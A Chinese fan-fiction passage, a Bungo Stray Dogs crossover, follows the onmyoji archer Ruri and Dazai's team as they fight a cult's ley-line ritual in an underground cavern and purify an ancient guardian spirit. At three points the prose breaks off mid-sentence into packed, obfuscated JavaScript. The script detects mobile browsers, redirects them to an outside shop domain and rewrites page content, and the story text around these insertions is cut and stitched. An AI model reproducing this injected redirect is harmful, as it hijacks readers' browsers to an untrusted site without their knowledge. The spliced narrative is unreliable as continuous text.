空气里的味道不对,像是什么东西在地底下腐烂了很久,终于撑破了地表,把那些陈年的、发霉的、带着血腥气的污浊释放到了地面上。 我的灵力感知像触角一样向前延伸,捕捉到的信息让我不自觉地皱紧了眉头。 B-7节点的受损程度比我预想的还要严重,地脉在那里不是简单地被“扭曲”了,而是被什么东西“吸住”了,像有一根巨大的针管扎进了龙脉的血管里,正在持续不断地往外抽。每一次抽取,都会让节点的能量浓度骤然下降,然后从更深处涌来新的能量填补空缺,形成一种痛苦的循环。 远处传来一声闷响,地面微微震动了一下。 我加快了脚步,最后几乎是跑起来的。 拐过最后一个街角的时候,我看到了战场。 废弃工厂的厂区大门已经被撞变形了,铁门歪倒在地上,上面有几个巨大的、像是被什么重物砸出来的凹坑。厂区内的地面上散落着碎石、碎玻璃和一种暗红色的、黏糊糊的液体,是灵力污染凝结成的液态形态,踩上去会发出“啪叽”的声音,像踩在腐烂的水果上。 战斗的声音从厂区深处传来。 金属撞击□□的闷响,石块碎裂的脆响,以及一种低沉的、像是从地底下传来的嗡鸣声。 我从侧门冲进厂区,绕过一堆生锈的废弃设备,眼前的景象让我倒吸了一口凉气。 厂区中央的空地上,国木田独步的小队正在被包围。 包围他们的东西不是人。 它们从地面上的裂缝里爬出来,从墙上的藤蔓中长出来,从空气中凝聚出来,形态各异,没有两个是完全相同的。有的像是由泥土和碎石拼凑成的野兽,有四条腿和一张布满尖牙的嘴;有的像是巨大的植物根系缠绕在一起形成的人形,浑身上下长满了黑色的尖刺;有的干脆没有固定的形状,只是一团暗红色的不断蠕动的能量团,在地面上缓慢地向前推进。 它们的共同点是,浑身上下都散发着那种让我从指挥中心出来就一直感受到的腐臭气息,地脉怨念的实体化,被强行从地下抽出来,灌进了泥土、植物碎片和一切可以被利用的介质里,变成了听命于葬神会的“污秽”。 国木田站在最前面,他右手握着一把刚具现出来的手枪,对准一个扑来的怪物连续射击。子弹打碎了怪物的半边脑袋,碎石和泥块飞溅出去,但那个怪物只是顿了一顿,被击碎的部分就开始像倒放视频一样重新凝聚。 “这些东西到底是什么?!”国木田一枪打碎另一个扑来的怪物头颅,但和之前一样,它很快又重新凝聚起来,甚至比之前更大了一些,“物理攻击效果太差了!” “国木田先生!后面!”谷崎润一郎紧张的声音从左侧传来,他的异能「细雪」能制造幻象,但这些怪物似乎不依靠视觉来定位,它们靠的是对生命能量的感知,幻象对它们几乎完全无效,谷崎润一郎站在国木田的左后方,双手张开,一层半透明的幻象屏障挡在他们和怪物之间,但那些怪物根本不受影响,径直穿过幻象,朝着他们的方向涌来。 “谷崎先生,没用的!它们不是用眼睛看的!”宫泽贤治在右侧挥舞着铁锹,每一击都能把一个怪物拍散,但新的怪物立刻从裂缝里爬出来,源源不断,贤治的背带裤上沾满了暗红色的污渍,脸上的表情依然是一副“这有点麻烦”的样子,而不是“我们完蛋了”的恐惧。 这大概就是贤治式的乐观。 但乐观解决不了问题。 我蹲在侧门的阴影里,花了三秒钟评估局势。 国木田的小队还能撑,但撑不了太久。他们的攻击不够彻底,物理攻击打散怪物的躯体,但无法消灭附着在里面的怨念,那些怨念会立刻重新寻找载体,凝聚成新的怪物,只要地脉节点还在持续向外溢出负面能量,这些“污秽”就会无限再生。 需要从根本上解决问题——切断怨念和载体之间的联系。 我从箭囊里里抽出一支箭。 搭箭,拉弓,瞄准它们脚下那片被污染最严重的土地,那里是怨念从地下涌出的“泉眼”,所有的污秽都是从那个点滋生出来的。 我松开弓弦。 破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们是去破坏节点的吧?带我一起,我能感知并暂时稳定地脉的‘伤口’,为你们争取时间。” “琉璃小姐请跟上!”国木田几乎没有犹豫,转身朝厂区深处跑去,声音在空旷的厂房之间回荡,“目标——地下工厂核心!宫泽开路!谷崎注意侧翼!” “收到!”宫泽贤治扛着铁锹冲到最前面,步伐大得像在田埂上跑,每一步都踩得很实,地面的碎石在他脚下被碾得嘎吱作响。 “我、我会尽力的!”谷崎润一郎跟在后面,双手维持着幻象屏障,虽然对怪物无效,但对可能的埋伏还是有用的,他的声音有些发颤,但脚步没有停。 我跟在最后面,一边跑一边从布包里掏出更多的符纸,每隔一段距离就贴一张在墙上或地面上,用灵力激活。这些符纸不会形成完整的结界,但能留下一条“净化的痕迹”,让怪物暂时不敢靠近这条路线。 身后传来怪物的嘶吼声,那些被我甩在后面的污秽正在试图绕过结界,从其他方向追过来。但符纸留下的灵力痕迹像一条看不见的篱笆,把它们挡在了外面。 至少暂时。 厂区的地面在脚下震动,一下一下的,很有规律。 像是有什么东西在地底下跳动。 心跳。 和我之前在街上感知到的一模一样。 16. 来横滨的第十六天 地下工厂的入口在厂区最深处的一栋建筑里。 那栋建筑看起来像是一个废弃的仓库,外墙上的红砖已经被岁月和污染侵蚀得不成样子,裂缝里塞满了枯萎的藤蔓。 大门是铁制的,半开着,门缝里透出一股浓烈的血腥味和邪异的能量波动,那种波动让我的皮肤起了鸡皮疙瘩,像是有无数根细针在同时扎着我的后颈。 “就是这个味道,”谷崎润一郎捂着鼻子,脸色有些发白,“和那些怪物身上的味道一样,但浓了几百倍。” “里面就是节点?”国木田独步问。 “下面,”我纠正道,“节点在地下,我能感觉到,能量是从地底下涌上来的,这里只是地面上的一个出口。” 宫泽贤治二话不说,一铁锹砸开了半开的铁门,门板发出刺耳的金属呻吟声,向两侧弹开,露出后面黑洞洞的通道。 国木田从口袋里掏出一支手电筒,打开,白色的光柱切开了黑暗,照亮了前方一段狭窄的向下延伸的楼梯,楼梯是水泥砌的,表面覆着一层暗红色的、滑腻腻的东西。 “我走前面,”国木田独步说,“贤治在后面,琉璃小姐在中间,谷崎负责两侧。” 没有人有异议。 我们鱼贯进入通道。 楼梯很长,一级一级往下,空气越来越沉重,血腥味越来越浓,邪异的能量波动越来越强烈。我的灵力感知像一根被拉到极限的弦,每一秒都在承受着巨大的压力,地脉的痛苦通过灵力传导到我身上,像有人在我的神经上缓慢地踩踏,不重,但持续不断。 我的呼吸因为灵力消耗开始变得有些吃力。 在厂区布下的那些符纸、射出的那支破魔箭、以及现在持续不断的感知,都在消耗着我好不容易恢复了七八成的灵力储备。 国木田独步走在前面,步子很稳,手电筒的光柱在楼梯的墙壁和天花板上扫来扫去,他偶尔回头看我一眼,什么也不说,只是确认我还跟着。 宫泽贤治走在最后面,铁锹扛在肩上。 谷崎润一郎走在我的右侧,双手一直维持着幻象屏障。他的额头上渗出了细密的汗珠,我能感觉到他的异能波动在微微颤抖。 “国木田先生,”我开口,声音在地下通道里回荡了一下,“前面五十米,右侧有一条岔路,不要走那条,怨念的浓度太高了,可能有陷阱。” 国木田独步停下脚步,手电筒的光柱照向我说的方向。 果然,在楼梯的尽头,通道分成了两条,一条向右,一条向前。 “走前面,”我说,“前面虽然绕远,但怨念的分布比较均匀,没有异常的聚集点。” “琉璃小姐怎么知道?” “灵力感知,”我说,“我的灵力能‘看到’怨念的分布,像热成像一样。” 国木田独步没有再多问,拐向了前方。 通道变得更窄了,两侧的墙壁从水泥变成了天然岩石,我们已经走出了人工建筑的范围,进入了地下的天然岩层。岩石的表面潮湿、冰冷,有些地方渗出了水珠,水珠在手电筒的光线下闪着暗沉的光。 宫泽贤治在后面忽然说了一句:“这里的石头……好像在呼吸。” 我看了他一眼。 这个年轻人有着比常人敏锐得多的直觉。 他说得没错,这些岩石确实在“呼吸”,因为它们下面就是龙脉节点,地脉的能量在岩石之间缓慢地、痛苦地流动,像是被什么东西推着走,不情愿,但又无法抗拒。 “快到了,”我说,“节点就在前方,能量浓度在急剧上升。” 国木田独步加快了脚步。 通道在拐过最后一个弯之后骤然开阔,我们走进了一个巨大的地下空洞。 空洞的高度目测有十几米,顶部是嶙峋的岩石,有些地方挂着钟乳石,钟乳石的尖端在滴水,水滴落在地面上,发出空洞的、重复的回响。 空洞的中央是一片相对平坦的区域,区域的正中间,有人在战斗。 我看到了一个熟悉的沙色风衣的身影,在昏暗的空洞中央,像一只优雅的鹤,不紧不慢地游走在几个巨大的岩石巨人之间。 “哎呀呀,这边的杂鱼也不少呢~” 那个声音从空洞中央飘过来,十分轻快,仿佛不是在战斗而是在逛花园。 “不过比起黏糊糊的触手,还是石头人看起来稍微顺眼一点?” “太宰先生?!”谷崎润一郎惊呼出声。 太宰治的手指落在一个岩石巨人的胸口,轻得像在弹掉衣服上的灰尘。 巨人崩解了,像积木被抽掉了最核心的一块,从被触碰的那个点开始,蛛网般的裂纹向四面八方蔓延,然后整个巨大的、由岩石和暗红色能量构成的躯体轰然坍塌,变成了一堆普通的碎石,散落在地上,溅起一片尘土。 太宰治收回手指,转向下一个巨人。 他指尖落下的位置恰好是巨人能量最集中的“核”,触碰的时机恰好是巨人重心偏移、无法及时防御的瞬间。 在他身后,地上已经倒着十几个昏迷的葬神会信徒。他们的衣服上绣着奇怪的纹章——一个倒置的圆环,圆环中间是一只在火焰中张开的手掌。他们的脸上没有伤口,但表情扭曲,像是经历了什么极其恐怖的事情。 太宰治又解决掉一个巨人,转过身来,看向我们。 他的脸上挂着一个笑眯眯的表情,鸢色的眼睛在昏暗的空洞里亮得有些异常。 “真慢啊,国木田君,”他说,拍了拍风衣上的灰尘,“我等了好久了。” 他的目光从国木田身上移开,落在后面的我身上。 “哦呀?”太宰治的语调微微上扬,脸上依旧挂上那个轻飘飘的笑容,“还带了位意外的援军?” 我站在通道的出口,手里还握着弓,布包里的符纸已经用了大半,绯袴的下摆上沾满了暗红色的黏液和灰尘,头发散了几缕贴在脸侧。 我知道自己看起来狼狈极了。 但他看我的眼神里没有嘲笑,没有调侃,只有一种很快被笑容盖过去的温柔的安心。 “太宰!”国木田大步走过去,声音在空洞里回荡,“你为什么在这里?!你的任务区域在B-7!” “根据现场能量流动重新计算,这里才是关键‘次级枢纽’哦,”太宰治耸耸肩,轻描淡写道,“破坏这里,能有效缓解其他节点的压力。这可是最优解,以国木田君的智商应该能理解吧?” “你说谁智商——” “而且,”太宰治打断他,看向空洞中央那个散发着不祥红光的复杂祭坛,鸢色的眼睛里映着那片暗红色的光,“主角总是最后才登场破解核心谜题的,不是吗?” 国木田深吸一口气,显然已经习惯了太宰这种说话方式,他把到嘴边的怒吼咽了回去,转而看向那座祭坛。 祭坛大概只有一张圆桌的大小,但结构极其复杂。它由数十块黑色的石板拼接而成,每一块石板上都刻着密密麻麻的符文,符文在暗红色的光芒中微微蠕动,像是活的。祭坛的中央有一个凹槽,凹槽里盛着一种深红色的、粘稠的液体,不完全是血。那是灵力和生命的混合物,是被强行从地脉和人身上抽出来的能量,浓缩到了几乎要凝固的程度。 从祭坛伸出的暗红色光线像触手一样扎入地面,穿透岩石,伸向更深的地方。 我的灵力顺着那些光线往下探。 然后我整个人僵住了。 “琉璃小姐?”太宰治的声音从远处传来,但我几乎听不见。 因为我的全部注意力都被灵力感知到的东西占据了。 在地下更深处,比这个空洞还要深得多的地方,有一个巨大的、古老的、被遗忘的空间。 那个空间的能量波动和上面的节点完全不同。节点是现代的、活跃的、正在被撕裂的,而那个空间是古老的、沉睡的、被封印的。 但此刻,那个古老的封印正在被从上方渗入的暗红色能量缓慢地地侵蚀。 “不对……”我开口,声音有些发飘。 所有人都看向我。 “这祭坛不只是破坏节点,”我说,眼睛死死盯着那些扎入地面的暗红色光线,“它在将节点的能量强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“琉璃小姐,”他的声音很轻,轻到只有我能听见,“下面的东西,比你之前遇到的任何东西都要大。” “我知道。” “你还是要下去?” 我看着那个黑洞洞的洞口,感受着从里面涌出来的、冰冷的、带着时间气息的风。 “嗯,”我说,“要下去。” 太宰治沉默了一瞬。 他把双手插进风衣口袋里,转身面对洞口:“那就走吧,”他说,“总不能让你一个人下去。” 他迈出一步,踏上了洞口边缘的碎石。 碎石在他脚下发出细碎的声响,滚落到洞里去,很久才传来落地的声音。 国木田在后面喊了一声:“太宰!不等支援吗?!” “来不及了,国木田君,”太宰治没有回头,声音从洞口传回来,“‘泵站’被破坏之后,核心仪式一定会提前启动。我们没有时间等人。” 他顿了顿:“而且——有些东西,只有我们在场的这几个人能处理。” 我看了太宰治一眼。 他背对着我,沙色风衣在洞口的逆光中勾勒出一个修长的单薄的轮廓。我看不到他的表情,但我看到他右手从风衣口袋里抽出来,垂在身侧。 手腕上,那条五色绳手链在黑暗中微微发光。 我系上去的时候在手链里封入了一小缕灵力,平时不会显现,但在这种充满负面能量的环境中,那一小缕灵力会自然而然地亮起来,像一个微型的灯。 我握紧手里的弓,踏上了洞口的碎石。 碎石在脚下滑动,我用灵力稳住重心,一步一步地走进了黑暗中。 身后传来国木田独步的声音:“贤治,你跟着他们,谷崎,你留在这里联络本部,报告我们的位置。” “收到!”宫泽贤治的声音从后面追上来,铁锹的木柄在地上点了两下,发出清脆的声响。 17. 来横滨的第十七天 隧道很长,脚下的路从碎石变成了天然的岩层,又变成了人工雕琢过的石阶,石阶很古老,边缘被岁月磨圆了,踩上去有一种说不清的厚重质感,两侧的岩壁上隐约能看到一些模糊的刻痕,不是文字,更像是某种古老的纹样,线条粗犷而有力,在黑暗中沉默地诉说着某个早已被遗忘的时代。 太宰治走在我前面,手里没有拿灯,但他似乎完全不需要光就能看清脚下的路,他的步伐很稳,不急不慢,沙色风衣的下摆在黑暗中偶尔扫过岩壁,发出细微的摩擦声。 我跟在他身后半步,灵力感知像蛛网一样向四面八方铺开,洞壁上那些古老的纹样在我的感知中微微发烫,像是沉睡了千年的东西正在被某种力量缓缓唤醒。 地脉在共鸣,一种更深沉的来自地层深处的震动,像是有什么东西在地底下缓慢地翻身。 宫泽贤治跟在我后面,铁锹扛在肩上,偶尔发出一两声感叹:“好深的洞啊”“这石头好硬”“咦,前面好像有光”。 有光。 暗红色的光,从隧道深处涌出来,像潮水一样缓慢地、不可阻挡地蔓延。光里有东西在流动。 怨念。 无数人的怨念。 不是一个人的,不是一群人的,而是几百年、几千年积累下来的,被地脉吸收、储存、压缩在地底深处的东西。平时它们安静地沉睡着,像石头一样沉默,像水一样无形,但现在有什么东西把它们从沉睡中唤醒了,搅动了,汇聚在了一起。 我的胃猛地收紧了一下。 我的灵力本质是“净”和“愈”,最敏感的就是这种负面的污浊的能量,那些怨念像无数根细针,从四面八方刺入我的感知范围,每一根都带着一段被遗忘的痛苦——有人在黑暗中死去,有人在绝望中诅咒,有人被背叛,有人被遗忘,有人连自己的名字都没有留下就被埋在了这片土地下面。 “琉璃小姐。”太宰治的声音从前方传来,很轻,但很清晰。 我抬起头。 隧道的尽头,是一个巨大的天然石窟。 石窟的顶部高到几乎看不到尽头,嶙峋的岩石在暗红色的光芒中呈现出一种诡异的、像血管一样的纹路。那些纹路在缓慢地跳动。 石窟的中央,矗立着一座古老的石制遗迹。 它不是这个时代的人造的,石块的切割方式、堆叠的结构、表面刻画的纹样,都带着一种比战国时代更古老的、几乎要追溯到神话时代的气息。 但此刻,那些符文正在被侵蚀。 暗红色的能量从遗迹的中心向外蔓延,符文在暗红色的侵蚀下发出微弱的光。 遗迹的中心,站着一个人。 与其说站着,他更像是在挂着,整个人的重量靠在一根从遗迹中央升起的石柱上,黑袍像破布一样垂在地上,露出一张枯槁得近乎非人的脸。皮肤紧紧贴着颧骨,眼窝深深凹陷下去,嘴唇干裂发黑,像一具刚从坟墓里挖出来的干尸。 但他的眼睛是活的。 那双眼睛燃烧着暗红色的的光。 地脉的能量也在同时涌出,但不是主动的,而是被强行抽取的,像一根巨大的吸管插进了龙脉的血管里,把那些本应滋养整座城市的灵力粗暴地抽出来,和暗红色的能量混合在一起,形成一种扭曲的、丑陋的、散发着腐臭气息的存在。 那个存在在遗迹的上方缓缓凝聚。 然后是声音。 无数人的声音叠加在一起,有男有女,有老有少,有愤怒的诅咒,有绝望的哭喊,有临死前的呻吟,有被遗忘者的低语。它们不是从同一个方向传来的,而是从四面八方、从头顶、从脚下、从每一个角落同时涌来,像潮水一样把整个石窟填满。 “仪式……完成了……” 葬神会首领的声音嘶哑得像砂纸摩擦石头,和聚合体的咆哮混在一起,分不清哪个是人的,哪个是怨念的。 “旧神当灭……新世将临……” 聚合体缓缓抬起一只“手臂”,如果那团不断扭曲的暗红能量能被称为手臂的话,向石窟的顶部挥去。 轰—— 整个石窟都在震颤。顶部的岩石被轰开了一道巨大的裂缝,碎石如雨般落下,有些砸在遗迹上,有些砸在暗红色的能量上被直接融化。地面剧烈地震动,我脚下的石阶出现了蛛网般的裂纹,碎石在脚边滚动,发出刺耳的碰撞声。 “宫泽贤治冲到我前面,铁锹横在身前,挡住了几块朝我砸来的碎石。他的动作很快,快到我几乎没看清他是怎么移动的。 太宰治从侧翼接近聚合体。 他的动作很轻很快,像一只在黑暗中潜行的猫。暗红色的能量触手从他身边扫过,每一次都差之毫厘,每一次都被他以一种几乎不可能的姿势躲开。他靠近了聚合体的“躯干”,伸出手,指尖触碰到聚合体的表面。 暗红色的能量像被激怒的蛇群一样猛地涌上来,缠住他的手臂,把他整个人弹飞了出去。 太宰治在空中翻了一个身,落在地上,后退了好几步才稳住身形。他的右手微微颤抖着,那股狂暴的能量在他的指尖留下了灼伤的痕迹,绷带边缘能看到微微发红的皮肤。 他低头看了一眼自己的手,眉头皱了一下:“不行,外层能量太狂暴了,‘人间失格’无法直接接触到核心规则。” “那就想办法让它‘变薄’一点,”我说,“贤治君,你能打散外层吗?” 宫泽贤治冲上前,铁锹带着全身的力量砸在聚合体的表面。铁锹陷进了暗红色的能量中,像是砸进了一团沥青,拔出来的时候,铁锹的表面已经出现了被腐蚀的痕迹。聚合体只是微微晃动了一下,然后继续膨胀。 宫泽贤治又砸了第二下,第三下。每一击都比上一击更重,但聚合体的体积不但没有缩小,反而在每一次攻击之后膨胀得更快。 “不行……”宫泽贤治退回来,铁锹的木柄上出现了裂纹,“它好像在吸收攻击的能量。” 太宰治看了我一眼。 我看着聚合体,力感知全力展开,像一把手术刀,试图切开那层狂暴的外壳,窥探内部的结构。暗红色的能量像一层又一层的茧,密密麻麻地缠绕在一起,每一层都在不停地蠕动、重组、加固。 但在最深处,有一个东西。 被封印了不知道多少年,在地底深处沉睡,被血祭的能量唤醒,被怨念包裹,被扭曲成了一种可怕的毁灭性的力量。 但它原本不是这样的。 我的灵力捕捉到了一丝微弱到几乎不存在的、和暗红色能量完全不同的气息—— 是守护。 那个意志,在不知道多少年前,被某个人留在这里,是为了守护这片土地。 不是破坏它。 是守护它。 “必须净化它内部的核心,”我声音有些发紧,“但需要直接接触。可它现在的状态,那层污秽太厚了,我的灵力无法穿透。” 所有人都看向我。 “直接接触?”宫泽贤治皱起眉头,“那种能量浓度,任何人靠近都会被瞬间吞噬——” “我去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471697|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治的声音不大,但很清晰。 他从风衣口袋里抽出手,活动了一下被灼伤的手指,鸢色的眼睛盯着聚合体那个不断跳动的“心脏”。 “‘人间失格’可以强行无效化维持它‘聚合状态’的异能规则,”他说,“但无效化是瞬间的。之后,积压的能量会失控爆炸。” 他转向我:“你只有一刹那的机会。找到核心,净化它。” “而且,”太宰治的声音压得更低了,“在那级别的能量反冲和怨念冲击下,你的意识会被瞬间淹没。你需要一个‘锚’——一个不受影响、能把你意识拉回来的‘联系’。” 他抬起了自己的左手腕。 那里系着一条五色绳手链。青、赤、黄、白、黑,五种颜色的绳子编成轮结,绕了两圈,三颗哑铃铛安静地垂着。手链在暗红色的光芒中微微发光。 “这个,”太宰治说,“它一直很‘安静’,也从没吸引过奇怪的东西。” 他顿了顿,斟酌着措辞:“而且,算是琉璃小姐和我之间,唯一的‘实体契约’?” 我的瞳孔微微收缩。 实体契约。 这个词在阴阳术中有一个非常具体的含义,是通过某种“物”建立的、不可见的、但真实存在的联系,那种联系不需要被理解,不需要被定义,它只是“存在”着,像一根看不见的线,把两个原本不相干的人连在一起。 五色绳手链。我编的。我封入的灵力。我系的结。 它是“我的东西”,却在他的手腕上。 它是“他的东西”,却承载着我的灵力。 我看着那条手链在暗红色的光芒中微微发亮,忽然觉得喉咙有些发紧,像是有什么东西在胸口温柔地膨胀,把那些平时被压在角落里的不敢承认的情绪,一点一点地挤了出来。 没有时间了。 聚合体还在膨胀。暗红色的能量已经快触到石窟的顶部,碎石如雨般落下,有些砸在遗迹上发出沉闷的巨响。地面在持续地震动,裂纹在脚下蔓延,像是有什么东西正在从地底深处挣扎着要爬出来。 我把布包从肩上卸下来,放在脚边,弓和箭用不上了,在这种距离、这种能量浓度下,任何远程攻击都会被聚合体吸收。唯一能起作用的是近身净化,直接触碰核心,用最纯粹的、最本质的“净”的力量,把那颗被怨念污染的“心”洗干净。 我把全部的灵力凝聚在右手。 掌心开始发出赤红色的光。 左手伸出去,抓住了太宰治伸过来的手腕。 我的手指死死扣住那条五色绳手链,指节泛白,指甲陷进绳结的缝隙里。他的手腕很凉,绷带的纹理在掌心摩擦,传来一种粗糙的触感。 太宰治的手指反过来握住了我的手腕,看着我的眼睛,嘴角微微弯了一下。 然后他开始倒数。 “三。” 石窟在震动。碎石从头顶落下,有些砸在我们身边,溅起尘土。 “二。” 聚合体发出了一声凄厉的、超越听觉的尖啸。不是声音,是灵性的震荡,像是有什么东西在它的“心脏”里裂开了。 “一——” 他的嘴唇动了动,在那声“一”还没有完全出口的时候,用几乎只有气音、却清晰无比的音量,丢给我一句话: “这次要是死了,我可不会去三途川捞你。” 太宰治的声音在黑暗和暗红之间穿行,像一根看不见的线,直接刺入了我的意识。 “所以,千万别死啊,琉璃酱。” 18. 来横滨的第十八天 太宰治第一次叫了我的名字。 没有敬语。 我的心脏猛地跳了一下,没等我反应过来那种异样的情绪是什么,下一瞬,我们同时冲了出去。 太宰治的速度很快,他几乎是贴在地面上滑行,风衣在身后展开,像一对暗色的翅膀,暗红色的能量触手从四面八方涌来,每一次都差之毫厘,每一次都在他精妙的计算下擦身而过。 我跟在他后面,不是靠速度,而是靠灵力感知。我能“看到”那些触手的运动轨迹,能预判它们下一刻会出现在哪里,能在它们合拢之前的最后一秒找到那条窄到几乎不存在的缝隙。 聚合体在我们面前越来越近。 暗红色的光芒越来越亮,越来越热,像是站在太阳表面,怨念的嘶吼声从四面八方涌来,试图抓住我的意识,把它拖入黑暗的深渊。 太宰治伸出右手。 他的手指穿过了暗红色的能量外壳,那一瞬间,狂暴的能量像无数把刀同时割在他的手上,绷带碎裂,露出下面被灼伤的皮肤,但他没有缩手,指尖触到了聚合体的“心脏”。 「人间失格」发动。 无声的波动从太宰治的指尖荡开。 暗红色的能量失去了束缚,开始向内剧烈坍缩。 聚合体发出了一声凄厉到超越听觉的尖啸。 刺目的暗红色光芒充斥了整个石窟,像一颗小型恒星在眼前爆炸。光和热、怨念和痛苦、疯狂和绝望,从坍缩的核心中喷涌而出,像海啸一样向我扑来。 我闭上了眼睛,感受那颗核心。 在灵力的感知中,暗红色的能量像一层又一层的茧,密密麻麻地包裹着最深处那个微弱的、不同颜色的“点”,那些茧在「人间失格」的作用下正在一层一层地剥落,像洋葱被一片一片地撕开,每一片都带着无数人的怨念、痛苦和疯狂。 我右手的净化灵光在这个时候注入了,把那些怨念从能量的外壳上一点一点地洗掉,像用水冲掉泥土,用布擦掉污渍。 每一次接触,我的灵力都会和那些怨念发生剧烈的反应,像是冷水倒进滚烫的油锅,嘶嘶作响,火花四溅。 但还不够。 怨念的厚度远超我的预估,几千年、几万年积累下来的、被地脉吸收、压缩、封存的怨念,它们像是无穷无尽的,剥掉一层还有一层,每一层都比上一层更浓、更重、更粘稠。 我的灵力在迅速消耗,那些怨念开始反过来侵蚀我的意识。 意识碎片像洪水一样涌入我的脑海,每一片都带着一个完整的、鲜活的故事—— 一个士兵在战国战场上被长□□穿胸膛,临死前想着的不是家人,不是故乡,而是“为什么是我”…… 一个农民在饥荒中看着自己的孩子饿死,跪在干裂的土地上诅咒上天,诅咒大地,诅咒一切…… 一个女人被诬陷为魔女,在火刑柱上被烧成焦炭,最后一眼看到的是围观人群中那张熟悉的脸,她的丈夫,正在笑…… 一个孩子在黑暗中独自死去,没有人知道他的名字,没有人记得他的存在…… 战国时代。 我自己的记忆也被唤醒了。 无边无际的尸山血海。 我曾经在那里战斗、守护、倒下、死去。那些我以为已经忘记的画面:战友的断臂在空中飞过,村民拿着火把把我赶出村子时冰冷的眼神,凤凰之火在体内燃烧时那种要把灵魂都烧穿的剧痛和孤独—— “来陪我们吧……” “净化有何意义……” “一起归于虚无……” 无数个声音在我的意识中回荡,重叠在一起,分不清是那些怨念在说话,还是我自己的心魔在低语。 黑暗从四面八方涌来,像冰水一样漫过我的脚踝、膝盖、腰部、胸口。 越来越冷。 越来越沉。 我快要被淹没了。 就在我的意识即将被彻底吞没的刹那,手腕上,传来几乎要捏碎骨头的的握力。 一个人的手,用尽全部力气地不肯松开地握着我的手腕。 那个握力穿过皮肤,穿过肌肉,穿过骨头,直接传达到了我意识的深处。 一个声音直接在我意识深处炸响的—— “琉璃——!回来!!!” 是太宰治的声音,带着一种我从未听过的恐慌的声音,像是一个从来不怕任何东西的人,忽然发现有什么东西是他可能失去的。 我的眼睛猛地睁开了,眸中,有一点金色的火焰在燃烧。 在我重生时融入灵魂的凤凰血脉,在生死关头被唤醒了。 金色的光从我的瞳孔中溢出,和右手的白色净化灵光融合在一起,形成了一种像破晓晨光一样的光芒。 我的右手,不再犹豫,穿透了最后的能量乱流,穿透了最后一层怨念的茧,五指张开,抓住了那颗剧烈跳动的、布满裂痕的暗红核心。 我的灵力顺着核心的裂缝渗入,像水渗进干裂的土地,像光照进封闭的房间。 我理解了它的痛苦,被遗忘的、被扭曲的、被用来做它从未想过的坏事的痛苦。 我也理解了它的孤独,在地底深处沉睡千年,没有人记得它,没有人知道它还在,没有人来“看”它一眼。 “我知道的,”我在意识深处对它说,声音很轻,很柔,像在安慰一个受了委屈的孩子,“你只是想做一件好事。只是太久没有人记得你了。” 核心在我的掌心中微微颤抖。像是一个哭泣了很久、终于被人发现的孩子。 “我来记得你,”我说,“我来帮你完成你最初的愿望。不是毁灭,不是破坏,而是守护。和我一起,守护这片土地。” 白色的净化灵光从我的掌心迸发,它包裹住了那颗布满裂痕的核心,渗入每一 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我的手从核心上滑落,身体像是被抽空了一样,没有一丝力气。膝盖发软,眼前发黑,意识像是在水面上下浮动,一会儿清晰,一会儿模糊。 我向后倒去,落进了一个带着绷带药水的气息的怀抱,接着,一双手臂从身后环过来,一只揽住我的肩膀,一只托住我的腰,像是早就在那里等着了,只是我终于倒进去了而已。 我仰起头,看到太宰治的脸。 他的脸色有些苍白,额角有一道被碎石划出的伤口,血珠沿着颧骨往下淌,在下颌处凝成一滴,悬而未落。 他的右手,那只触碰了聚合体心脏的手,绷带已经完全碎了,露出手背上大片的灼伤和擦伤,有些地方已经结了一层薄薄的血痂。 太宰治看着我,嘴角弯了一下。 “这次轮到我救你了啊,”他的声音有些哑,但语气还是那种轻飘飘的调子,“琉璃。” 我想说“谢谢”,想说“你也是”,想说“你的手在流血”,但喉咙像是被什么东西堵住了,一个字都发不出来。 我看着太宰治含着笑意的眼睛,张了张嘴,终于发出了一个音节:“太……” “别说话了,”太宰治打断我,声音放得很轻,像是在哄一个困极了的小孩,“睡吧,醒了再说。” 他的手臂收紧了一些,把我往怀里带了带,用风衣裹住了我,挡住了石窟里残余的冷风和碎石落下的尘土。 我的眼皮越来越重,意识在黑暗中沉下去。 在完全沉入黑暗之前,我感觉到太宰治轻轻碰了碰我的手指。 凉的,带着绷带的粗糙纹理。 他的手指勾住了我的手指。 我用最后一丝力气,动了一下手指,勾了回去。 然后,彻底陷入昏迷。 19. 来横滨的第十九天 我是在一片陌生的天花板下醒来的。 日光灯管嵌在顶棚里,发出微微的嗡鸣声,光线白得有些刺眼。 我眨了眨眼,花了大概五秒钟才想起来发生了什么。 地下石窟,暗红色的聚合体,金色的核心,净化,脱力,然后,落进一个怀抱。 我猛地清醒了。 “醒了?”一个陌生的声音从床边传来。 我转过头。 一个黑色波波头的女孩坐在床边的椅子上,穿着一件白大褂,里面是一件深色的连衣裙,腿上摊着一本翻到一半的厚书。 她的五官很漂亮,带着锐利和英气的美,眉眼间有一种“见惯了生死”的从容,嘴角却挂着一丝让人放松的笑意。 “我叫与谢野晶子,”她自我介绍道,把手里的书合上放在床头柜上,“武装侦探社的医生,你的身体我已经检查过了,没有大碍,只是灵力耗费过度,睡了整整一天。” “一天?”我撑着床铺坐起来,手臂在微微发抖,但还能动。 “从昨天半夜到今天傍晚,”与谢野晶子从床头柜上端起一杯水递给我,“整整十八个小时。社长来看过你两次,你发了一点低烧,不过现在已经退了。” 我接过水杯,喝了一口。 